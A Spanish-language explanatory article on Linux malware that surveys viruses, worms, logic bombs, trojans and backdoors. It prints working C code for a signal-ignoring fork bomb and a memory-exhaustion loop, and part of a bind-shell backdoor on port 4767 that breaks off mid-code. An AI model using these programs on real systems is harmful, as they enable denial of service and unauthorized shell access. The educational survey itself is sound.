Las posibilidad de que una maquina con sistema operativo LINUX se infecte es escasa, pero esto no implica que no exista códigos maliciosos para Linux .
Para que logre propagarse tiene que cumplir que el código del malware logre ejecutarse, en lo general tiene que ser copiado en un ejecutable corrupto desde otro sistema. Independiente de la distribución de linux lo normal seria al momento de bajar un programa este sea por un repositorio o por una URL donde se encuentra el software el cual el usuario quiere bajar. En lugar de bajar el archivo ejecutable el usuario baja el programa de un repositorio oficial, pero la posibilidad que de estos sitios oficiales puedan contener malware es remota, pero posible .
Una vez que la máquina baja el programa con el código malicioso y se infecta la segunda etapa es la propagación, éste debería usarse como una plataforma de distribución para aplicaciones pre compiladas, lo cual es muy poco probable. El echo de tratar infectar una maquina con Linux por intermedio de un fichero ejecutable, la posibilidad de lograr su objetivo es muy poco probable o escasa .
La propagación dentro de una maquina una aplicación corrupta solo puede extenderse a los archivos que el usuario ejecuta y tenga permisos de escritura.
El usuario de linux en lo general el usuario solo trabaja como root para operaciones muy especificas.
La instalación de una aplicación con Set-UID root el riesgo de infectarse es bastante pequeño .
Cuando un usuario normal ejecute el programa infectado solo afectará a los ficheros que pertenezcan a este usuario .
En la siguiente tabla nos indica los virus mas conocidos para linux
Nombre |
Bomba logica |
Notas |
Bliss |
Aparente mente inactiva |
Desinfeccion automatica del fichero ejecutable si se llama con la opcion -bliss-disinfect-plase |
Diesel |
Ninguna |
|
Kagob |
Ninguna |
Utiliza un fichero temporal para ejecutar el programa original infectado |
Satyr |
Ninguna |
|
Vit4096 |
Ninguna |
Solo infecta los ficheros en el directorio actual |
winter |
Ninguna |
El código del virus ocupa 341 bytes solo infecta los ficheros del directorio actual |
winux |
Ninguna |
Contiene dos códigos diferentes y puede infectar tanto los ficheros de windows como los ficheros ELF linux pero no es capaz de explotar otras particiones que en la que esta alojado lo que reduce su propagación siendo un virus inofensivo. La relevancia esta en el concepto de que un código malicioso podría saltar de una particion a otra invadir una red heterogenea usando un servidor Samba |
Bombas lógicas
El daño que pueda ocasionar las bombas lógicas es relativo, dependerá por una parte de como el usuario este logeado y cuales son sus privilegios. Es relativamente extraño en lo particular que un usuario de Linux se loge como root en todas las cesiones .
Por otra parte, Linux, siempre mejora su sistema de seguridad entregando mejores distribuciones
Como ejemplo presentaremos el siguiente programa, el cual esta escrito en C y cuyo propósito es crear un excesivo consumo de los recursos de la maquina logrando hacerlo inoperativo cabe señalar que este programa es aniquilado de forma automática por el mecanismo de gestión de memoria virtual:
“ si el numero por usuarios no esta limitado este “consumirá” todas las entradas disponibles de tablas de procesos y evitara cualquier conexión que intente matarlo”
#include <signal.h>
#include <unistd.h>
int
main (void)
{
int i;
for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
while (1)
fork ();
}
los limites que se pueden llegar a establecer para los usuario a ( con la llamada de sistema setrimit() y la función del Shell ultimit()permite acortar la vida de este tipo de programas, pero solo actúan tras un tiempo en el que el sistema no esta disponible este mismo orden un programa.
El siguiente programa utiliza toda la memoria disponible y entra en un bluce perturbando otros procesos
#include <stdlib.h>
#define LG 1024
int
main (void) {
char * buffer;
while ((buffer = malloc (LG)) != NULL)
memset (buffer, 0, LG);
while (1)
;
}
Si una maquina esta expuesta a una bomba lógica esta estará escondida en el Scripts “configure” el cual se llamara durante "./configure; make"
Caballos de toya
Dentro de la distribución de los software libres, la posibilidad de bajar un programa con un troyano es muy escaso, si lo bajamos de los repositorios conocidos seria relativamente fácil detectar una amenaza de éstas, pero esto no implica que sea un motivo de seguridad, dado que en la web encontramos muchas paginas web las cuales no son sitios oficiales que podrían contener un código malicioso emulando el modelo Maa
Gusanos en Linux
Los primeros gusanos fueron creados en 1988 los cuales explotan la vulnerabilidad de los servidores de red para las estaciones de trabajo
Nombre |
vulnarebilidades |
notas |
Lion(1i0n) |
bind |
Instala una puerta trasera(puerto TCP 10008) y root-kit en la maquina infectada la cual envía información del sistema a una dirección de correo en china |
Ramen |
Lpr,nfs,wu-ftpd |
Cambia los ficheros index.html que encuentra |
Adore(Red Worm) |
Bind,Ipr,rpc,wu,ftpd |
Instala una puerta trasera en el sistema y envía información a direcciones de correo en china y USA instala una versión modificada de ps para esconder sus procesos |
Cheese |
bind |
Worm entra como un supuesto programa chequea y elimina las puertas abiertas |
Puertas traseras
Dentro de las amenazas del malware esta es una de las más relevantes que no solo afecta a Microsoft también al software libre.
Un ejemplo de esto es el siguiente programa que corresponde al libro “programmation systeme en C sosus linux.
EL usa el mecanismo de un pseudo-terminal cuando se ejecuta abre un servicio TCP/IP en el puerto por defecto 4767 acedera a un shell
Cabe mencionar que este programa sean borrado los comentarios y parte del codigo es solo como ejemplo
#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define ADRESSE_BACKDOOR INADDR_ANY
#define PORT_BACKDOOR 4767
int
main (void)
{
int sock;
int sockopt;
struct sockaddr_in adresse; /* dirección */
socklen_t longueur; /* longitud */
int sock2;
int pty_maitre; /* pty_maestro */
int pty_esclave; /* pty_esclavo */
char * nom_pty; /* nombre_pty */
struct termios termios;
char * args [2] = { "/bin/sh", NULL };
fd_set set;
char buffer [4096];
int n;
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt,
sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
exit (1);
listen (sock, 5);
while (1) {
longueur = sizeof (struct sockaddr_in);
if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
continue;
if (fork () == 0) break;
close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, & termios);
if (fork () == 0) {
/* Hijo: ejecución de shell en el
pseudo-TTY esclavo */
close (pty_maitre);
setsid();
pty_esclave = open (nom_pty, O_RDWR);
tcsetattr (pty_esclave, TCSANOW, & termios);
dup2 (pty_esclave, STDIN_FILENO);
dup2 (pty_esclave, STDOUT_FILENO);
dup2 (pty_esclave, STDERR_FILENO);
96